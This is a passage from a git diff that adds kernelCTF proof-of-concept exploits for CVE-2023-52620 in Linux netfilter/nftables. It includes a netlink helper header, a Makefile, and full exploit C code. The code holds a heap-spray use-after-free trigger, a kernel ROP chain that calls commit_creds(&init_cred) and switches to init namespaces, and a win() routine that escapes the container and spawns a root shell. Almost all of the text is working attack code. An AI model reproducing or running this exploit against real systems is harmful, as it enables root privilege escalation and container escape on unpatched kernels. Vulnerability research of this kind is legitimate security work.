if(leak_heap_addr() == -1) + return -1; + + uint64_t *rop_data = malloc(1024); + + rop_chain_256(rop_data); + + spray_table(rop_data, KMALLOC_256_SIZE); + + del_rule(handle_rop); + + // wait for nft_commit_release() to complete + usleep(500*1000); + + fake_ops_96(rop_data); + + spray_table(rop_data, KMALLOC_96_SIZE); + + return 0; +} + +void setup(){ + new_ns(); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + + portid = mnl_socket_get_portid(nl); + + handle = 0; +} + +void start(){ + save_state(); + + buf = malloc(BUF_SIZE); + + while(1){ + setup(); + + setup_table_chain(); + + if(leak_kaslr() == -1) continue; + + if(!exploit()) break; + } + + trig_sock(); +} + +int main(int argc, char ** argv) +{ + set_affinity(1); + + start(); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/netlink_utils.h b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/netlink_utils.h new file mode 100644 index 000000000..ce994bdf3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/lts-6.1.78/netlink_utils.h @@ -0,0 +1,229 @@ +/* + * Utils used to communicate with the kernel via Netlink. + * Useful for static linking. + */ + +#include +#include +#include +#include + +#define PAGE_SIZE 0x1000 +#define NL_AUTO_SEQ 0 +#define NL_AUTO_PID 0 + +void *nlmsg_tail(const struct nlmsghdr *msg) +{ + return (unsigned char *)msg + NLMSG_ALIGN(msg->nlmsg_len); +} + +void *nlmsg_data(const struct nlmsghdr *msg) +{ + return NLMSG_DATA(msg); +} + +int nlmsg_datalen(const struct nlmsghdr *msg) +{ + return msg->nlmsg_len - NLMSG_HDRLEN; +} + +struct nlmsghdr *nlmsg_alloc(void) +{ + struct nlmsghdr *msg; + + msg = calloc(1, 0x1000); + if (!msg) + return NULL; + + msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0)); + return msg; +} + +struct nlmsghdr *nlmsg_init(int type, int flags) +{ + struct nlmsghdr *msg; + + msg = nlmsg_alloc(); + if (!msg) + return NULL; + + msg->nlmsg_type = type; + msg->nlmsg_flags = flags; + msg->nlmsg_seq = NL_AUTO_SEQ; + msg->nlmsg_pid = NL_AUTO_PID; + + return msg; +} + +void nlmsg_free(struct nlmsghdr *msg) +{ + free(msg); +} + +int nl_init_request(int type, struct nlmsghdr **msg, int flags) +{ + int sk; + struct nlmsghdr *n; + + sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sk < 0) + return -1; + + n = nlmsg_init(type, flags); + if (!n) { + close(sk); + return -1; + } + + *msg = n; + return sk; +} + +void *nlmsg_reserve(struct nlmsghdr *msg, size_t len, int pad) +{ + char *data = (char *)msg; + size_t tlen; + + tlen = NLMSG_ALIGN(len); + data += msg->nlmsg_len; + msg->nlmsg_len += tlen; + + if (tlen > len) + memset(data + len, 0, tlen - len); + + return data; +} + +int nlmsg_append(struct nlmsghdr *msg, void *data, size_t len, int pad) +{ + void *tmp; + + tmp = nlmsg_reserve(msg, len, pad); + if (tmp == NULL) + return -1; + + memcpy(tmp, data, len); + return 0; +} + +int nl_sendmsg(int sk, struct nlmsghdr *msg) +{ + struct iovec iov = {}; + struct msghdr hdr = {}; + + if (sk < 0) + return -1; + + iov.iov_base = (void *)msg; + /* + * Here add NLMSG_GOODSIZE (0xec0) to the total message length + * to be sure the msg in netlink_alloc_large_skb() is allocated using vmalloc(): + * https://elixir.bootlin.com/linux/v6.1/source/net/netlink/af_netlink.c#L1190 + * Useful to reduce noise in kmalloc-512 slabs. + */ + iov.iov_len = msg->nlmsg_len + 0xec0; + + hdr.msg_name = NULL; + hdr.msg_namelen = sizeof(struct sockaddr_nl); + hdr.msg_iov = &iov; + hdr.msg_iovlen = 1; + + return sendmsg(sk, &hdr, 0); +} + +int nl_complete_request(int sock, struct nlmsghdr *msg) +{ + int ret; + + ret = nl_sendmsg(sock, msg); + nlmsg_free(msg); + close(sock); + + return ret; +} + +void *nla_data(const struct nlattr *nla) +{ + return (char *)nla + NLA_HDRLEN; +} + +int nla_attr_size(int payload) +{ + return NLA_HDRLEN + payload; +} + +int nla_total_size(int payload) +{ + return NLA_ALIGN(nla_attr_size(payload)); +} + +int nla_padlen(int payload) +{ + return nla_total_size(payload) - nla_attr_size(payload); +} + +struct nlattr *nla_reserve(struct nlmsghdr *msg, int attrtype, int attrlen) +{ + struct nlattr *nla; + + nla = (struct nlattr *)nlmsg_tail(msg); + nla->nla_type = attrtype; + nla->nla_len = nla_attr_size(attrlen); + + memset((unsigned char *) nla + nla->nla_len, 0, nla_padlen(attrlen)); + + msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + nla_total_size(attrlen); + return nla; +} + +int nla_put(struct nlmsghdr *msg, int attrtype, int datalen, const void *data) +{ + struct nlattr *nla; + + nla = nla_reserve(msg, attrtype, datalen); + if (!nla) + return -1; + + memcpy(nla_data(nla), data, datalen); + return 0; +} + +int nla_put_u32(struct nlmsghdr *msg, int attrtype, uint32_t value) +{ + return nla_put(msg, attrtype, sizeof(uint32_t), &value); +} + +int nla_put_string(struct nlmsghdr *msg, int attrtype, const char *str) +{ + return nla_put(msg, attrtype, strlen(str) + 1, str); +} + +int nla_put_nested(struct nlmsghdr *msg, int attrtype, const struct nlmsghdr *nested) +{ + return nla_put(msg, attrtype, nlmsg_datalen(nested), nlmsg_data(nested)); +} + +struct nlattr *nla_nest_start(struct nlmsghdr *msg, int attrtype) +{ + struct nlattr *start = (struct nlattr *)nlmsg_tail(msg); + + if (nla_put(msg, NLA_F_NESTED | attrtype, 0, NULL) < 0) + return NULL; + + return start; +} + +int nla_nest_end(struct nlmsghdr *msg, struct nlattr *start) +{ + size_t pad, len; + + len = (char *)nlmsg_tail(msg) - (char *)start; + start->nla_len = len; + + pad = NLMSG_ALIGN(msg->nlmsg_len) - msg->nlmsg_len; + if (pad > 0) { + if (!nlmsg_reserve(msg, pad, 0)) + return -1; + } + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/Makefile b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/Makefile new file mode 100644 index 000000000..f838f98dc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/Makefile @@ -0,0 +1,35 @@ +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +exploit: + gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -static -s + +prerequisites: libmnl-build libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) + rm -f exploit diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/exploit b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/exploit new file mode 100755 index 000000000..55cdaa2e1 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/exploit.c b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/exploit.c new file mode 100644 index 000000000..5d829a300 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52620_lts_cos_mitigation/exploit/mitigation-v3-6.1.55/exploit.c @@ -0,0 +1,872 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include "netlink_utils.h" + +#define BUF_SIZE 0x1000 * 0x100 + +#define FIND_TASK_BY_VPID 0x1bbe60 +#define SWITCH_TASK_NAMESPACES 0x1c3a30 +#define COMMIT_CREDS 0x1c55a0 +#define INIT_CRED 0x2876960 +#define INIT_NSPROXY 0x2876720 +#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0x1201146 +#define OOPS_IN_PROGRESS 0x3444338 +#define RCU_READ_LOCK_NESTING_OFF 0x474 + +#define PUSH_RBX_POP_RSP_RBP 0xf89a31 // 0xffffffff81f89a31 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404c80 +#define POP_RDI_RET 0x0e89fe // 0xffffffff810e89fe : pop rdi ; jmp 0xffffffff82404c80 +#define POP_RSI_RET 0x0e8a70 // 0xffffffff810e8a70 : pop rsi ; jmp 0xffffffff82404c80 +#define ADD_RAX_RSI_RET 0x038160 // 0xffffffff81038160 : add rax, rsi ; jmp 0xffffffff82404c80 +#define POP_RCX_RET 0x11581f6 // 0xffffffff821581f6 : pop rcx ; jmp 0xffffffff82404c80 +#define MOV_RAX_RCX_RET 0x72718b // 0xffffffff8172718b : mov qword ptr [rax], rcx ; jmp 0xffffffff82404c80 +#define MOV_RDI_RAX_RET 0x1f4605 // 0xffffffff811f4605 : mov rdi, rax ; test esi, esi ; jne 0xffffffff811f45b4 ; jmp 0xffffffff82404c80 +#define POP_RSP_RET 0x008999 // 0xffffffff81008999 : pop rsp ; jmp 0xffffffff82404c80 +#define MOV_RSI_RDI_RET 0x2fcc79 // 0xffffffff812fcc79 : mov qword ptr [rsi], rdi ; jmp 0xffffffff82404c80 + +uint64_t kbase = 0; + +char* buf; +struct nlmsghdr * nlh; +struct mnl_nlmsg_batch * batch; +struct mnl_socket * nl; +uint32_t portid; +uint8_t family = NFPROTO_IPV4; +int seq = 0; + +char * table1_name = "table1"; +char * set_rop_name = "set_rop"; +char * chain_base_name = "chain1"; +char * chain_dummy_name = "chain_dummy_name"; +char * chain_rop_name = "chain_rop"; + +size_t KERNEL_BASE = 0; + +void win(){ + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + char* shell[] = { + "/bin/sh", + NULL, + }; + + execve(shell[0], shell, NULL); + + while(1); +} + +void set_affinity(int cpuid){ + cpu_set_t my_set; + int cpu_cores = sysconf(_SC_NPROCESSORS_ONLN); + + if (cpu_cores == 1) return; + + CPU_ZERO(&my_set); + + CPU_SET(cpuid, &my_set); + + if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { + perror("[-] sched_setaffinity()"); + exit(EXIT_FAILURE); + } +} + +/* + * Add a network interface. + * Equivalent to `ip link add ...`. + */ +int net_if(char *type, int n, int opt) { + + struct nlmsghdr *msg; + struct nlattr *opts; + struct ifinfomsg ifinfo = {}; + char name[0x100] = { 0 }; + int sk; + + strcpy(name, type); + + if (n >= 0) + snprintf(name, sizeof(name), "%s-%d", type, n); + + // Initalize a netlink socket and allocate a nlmsghdr + sk = nl_init_request(RTM_NEWLINK, &msg, NLM_F_REQUEST|NLM_F_CREATE); + if (!sk) { + perror("nl_init_request()"); + return -1; + } + + ifinfo.ifi_family = AF_UNSPEC; + ifinfo.ifi_type = PF_NETROM; + ifinfo.ifi_index = 0; + ifinfo.ifi_flags = opt; + ifinfo.ifi_change = 1; + + nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO); + + nla_put_string(msg, IFLA_IFNAME, name); + opts = nla_nest_start(msg, IFLA_LINKINFO); + nla_put_string(msg, IFLA_INFO_KIND, type); + nla_nest_end(msg, opts); + + // Send the netlink message and deallocate resources + return nl_complete_request(sk, msg); +} + +void write_file(const char *filename, char *text) { + int fd = open(filename, O_RDWR | O_CREAT, 0600); + + write(fd, text, strlen(text)); + close(fd); +} + +void new_ns(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + char buffer[0x100]; + + unshare(CLONE_NEWUSER | CLONE_NEWNS); + + unshare(CLONE_NEWNET); + + write_file("/proc/self/setgroups", "deny"); + + snprintf(buffer, sizeof(buffer), "0 %d 1", uid); + write_file("/proc/self/uid_map", buffer); + snprintf(buffer, sizeof(buffer), "0 %d 1", gid); + write_file("/proc/self/gid_map", buffer); + + net_if("lo", -1, IFF_UP); +} + +uint64_t _user_rip = (uint64_t) win; +uint64_t _user_cs = 0; +uint64_t _user_rflags = 0; +uint64_t _user_sp = 0; +uint64_t _user_ss = 0; + +void save_state(void) { + __asm__(".intel_syntax noprefix;" + "mov _user_cs, cs;" + "mov _user_ss, ss;" + "mov _user_sp, rsp;" + "pushf;" + "pop _user_rflags;" + ".att_syntax"); + return; +} + +#define TRIG_HOST "127.0.0.1" +#define TRIG_PORT 1337 + +/* Connect to a server in a specific port to trigger netfilter hooks */ +void trig_net_sock(void) { + int sockfd = 00; + struct sockaddr_in servaddr, cli; + + bzero(&servaddr, sizeof(servaddr)); + bzero(&cli, sizeof(cli)); + + sockfd = socket(AF_INET, SOCK_STREAM, 0); + if(sockfd == -1) + printf("[-] Socket creation failed"); + + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST); + servaddr.sin_port = htons(TRIG_PORT); + + if(connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr)) != 0) + printf("[-] Connection with server failed"); + + write(sockfd, "AAAA", 4); + + close(sockfd); + + return; +} + +/* Set up a server to receive hook-triggering output packets */ +void setup_trig_server(void) { + int sfd = 0, sock = 0; + struct sockaddr_in address; + int opt = 1; + int addrlen = sizeof(address); + char buffer[1024] = { 0 }; + + if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0) + printf("[-] Error at socket()"); + + if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) + printf("[-] Error at setsockopt()"); + + address.sin_family = AF_INET; + address.sin_addr.s_addr = INADDR_ANY; + address.sin_port = htons(TRIG_PORT); + + if(bind(sfd, (struct sockaddr*)&address, sizeof(address)) < 0) + printf("[-] Error at bind()"); + + if(listen(sfd, 3) < 0) + printf("[-] Error at listen()"); + + if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0) + printf("[-] Error at accept()"); + + read(sock, buffer, 4); + + close(sock); + close(sfd); + + return; +} + +void trig_sock(){ + int sfd = 0; + + /* Set up server at TRIG_PORT in a new process */ + sfd = fork(); + if(sfd == 0) { + setup_trig_server(); + exit(0); + } + + /* Trigger the network hook */ + trig_net_sock(); +} + +// CPU entry area pointers. We prepare some memory here that will be referenced +// by the ROP chains. +// We need: +// - the struct nft_expr_ops { .eval } member +#define CPU_ENTRY_AREA_BASE(cpu) (0xfffffe0000001000ull + (uint64_t)cpu * 0x3b000) +#define PAYLOAD_LOCATION(cpu) (CPU_ENTRY_AREA_BASE(cpu) + 0x1f58) + +struct cpu_entry_area_payload { + union { + struct { + // function to call to evaluate the expression + uint64_t nft_expr_eval; + }; + uint64_t regs[16]; + }; +}; + +void rop_chain(uint64_t* data){ + int i = 0; + + // nft_rule_blob.size > 0 + data[i++] = 0x100; + // nft_rule_blob.dlen > 0 + data[i++] = 0x100; + + // fake ops addr + data[i++] = PAYLOAD_LOCATION(1) + offsetof(struct cpu_entry_area_payload, nft_expr_eval); + + // current = find_task_by_vpid(getpid()) + data[i++] = kbase + POP_RDI_RET; + data[i++] = getpid(); + data[i++] = kbase + FIND_TASK_BY_VPID; + + // current += offsetof(struct task_struct, rcu_read_lock_nesting) + data[i++] = kbase + POP_RSI_RET; + data[i++] = RCU_READ_LOCK_NESTING_OFF; + data[i++] = kbase + ADD_RAX_RSI_RET; + + // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section) + data[i++] = kbase + POP_RCX_RET; + data[i++] = 0; + data[i++] = kbase + MOV_RAX_RCX_RET; + + // Bypass "schedule while atomic": set oops_in_progress = 1 + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + OOPS_IN_PROGRESS; + data[i++] = kbase + MOV_RSI_RDI_RET; + + // commit_creds(&init_cred) + data[i++] = kbase + POP_RDI_RET; + data[i++] = kbase + INIT_CRED; + data[i++] = kbase + COMMIT_CREDS; + + // find_task_by_vpid(1) + data[i++] = kbase + POP_RDI_RET; + data[i++] = 1; + data[i++] = kbase + FIND_TASK_BY_VPID; + + data[i++] = kbase + POP_RSI_RET; + data[i++] = 0; + + // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) + data[i++] = kbase + MOV_RDI_RAX_RET; + data[i++] = kbase + POP_RSI_RET; + data[i++] = kbase + INIT_NSPROXY; + data[i++] = kbase + SWITCH_TASK_NAMESPACES; + + data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE; + data[i++] = 0; + data[i++] = 0; + data[i++] = _user_rip; + data[i++] = _user_cs; + data[i++] = _user_rflags; + data[i++] = _user_sp; + data[i++] = _user_ss; +} + +void setup_table_chain(){ + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table1_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_chain * chain1 = nftnl_chain_alloc(); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain_base_name); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0); + nftnl_chain_set_str(chain1, NFTNL_CHAIN_TYPE, "filter"); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_IN); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_PRIO, 10); + nftnl_chain_set_u32(chain1, NFTNL_CHAIN_POLICY, NF_ACCEPT); + + struct nftnl_chain * chain_dummy = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_dummy, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_dummy, NFTNL_CHAIN_NAME, chain_dummy_name); + nftnl_chain_set_u32(chain_dummy, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chain_rop = nftnl_chain_alloc(); + nftnl_chain_set_str(chain_rop, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_rop, NFTNL_CHAIN_NAME, chain_rop_name); + + struct nftnl_rule * rule_dangling_4 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_CHAIN, chain_base_name); + + struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_rop_name); + nftnl_rule_add_expr(rule_dangling_4, expr_immediate); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_rop); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_dummy); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_4); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void del_chain(char* chain_name){ + struct nftnl_chain * chain = nftnl_chain_alloc(); + nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_u32(chain, NFTNL_CHAIN_FLAGS, 0); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void trigger(char * trig_set_name, char * trig_chain_name){ + uint8_t desc_concat[2]; + memset(desc_concat, 1, 2); + + struct nftnl_set * set_leak = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak, NFTNL_SET_NAME, trig_set_name); + nftnl_set_set_u32(set_leak, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS | NFT_SET_CONCAT | NFT_SET_TIMEOUT | NFT_SET_MAP); + nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, 8); + nftnl_set_set_u32(set_leak, NFTNL_SET_ID, 1337); + nftnl_set_set_u32(set_leak, NFTNL_SET_GC_INTERVAL, 1); + nftnl_set_set_u32(set_leak, NFTNL_SET_DESC_SIZE, 1); + nftnl_set_set_u32(set_leak, NFTNL_SET_DATA_TYPE, NFT_DATA_VERDICT); + nftnl_set_set_data(set_leak, NFTNL_SET_DESC_CONCAT, desc_concat, 2); + + struct nftnl_set * set_leak_elem = nftnl_set_alloc(); + + nftnl_set_set_str(set_leak_elem, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_leak_elem, NFTNL_SET_NAME, trig_set_name); + + struct nftnl_set_elem * elem1 = nftnl_set_elem_alloc(); + + nftnl_set_elem_set_u32(elem1, NFTNL_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL); + nftnl_set_elem_set_str(elem1, NFTNL_SET_ELEM_CHAIN, trig_chain_name); + nftnl_set_elem_set_u32(elem1, NFTNL_SET_ELEM_VERDICT, NFT_GOTO); + nftnl_set_elem_set_u64(elem1, NFTNL_SET_ELEM_TIMEOUT, 1); + + nftnl_set_elem_add(set_leak_elem, elem1); + + struct nftnl_rule * rule_lookup_set_leak = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_lookup_set_leak, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_lookup_set_leak, NFTNL_RULE_CHAIN, chain_base_name); + nftnl_rule_set_u32(rule_lookup_set_leak, NFTNL_RULE_ID, 1); + + struct nftnl_expr * expr_lookup = nftnl_expr_alloc("lookup"); + nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG32_00); + nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_DREG, NFT_REG32_01); + nftnl_expr_set_str(expr_lookup, NFTNL_EXPR_LOOKUP_SET, trig_set_name); + nftnl_rule_add_expr(rule_lookup_set_leak, expr_lookup); + + struct nftnl_rule * rule_dummy_rop = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dummy_rop, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dummy_rop, NFTNL_RULE_CHAIN, chain_rop_name); + + struct nftnl_rule * rule_dummy = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_dummy, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_dummy, NFTNL_RULE_CHAIN, chain_dummy_name); + + batch = mnl_nlmsg_batch_start(buf, BUF_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_leak); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_leak_elem); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set_leak); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set_leak); + mnl_nlmsg_batch_next(batch); + + for(int i = 0 ; i < 0x400; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dummy); + mnl_nlmsg_batch_next(batch); + } + + for(int i = 0 ; i < 0x400; i++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_dummy_rop); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for nft_commit_release() to complete + usleep(10*1000); + + del_chain(trig_chain_name); + + // wait for nft_commit_release() to complete + usleep(500*1000); +} + +void setup(){ + new_ns(); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + + portid = mnl_socket_get_portid(nl); +} + +// KASLR bypass +// +// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h +// +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" 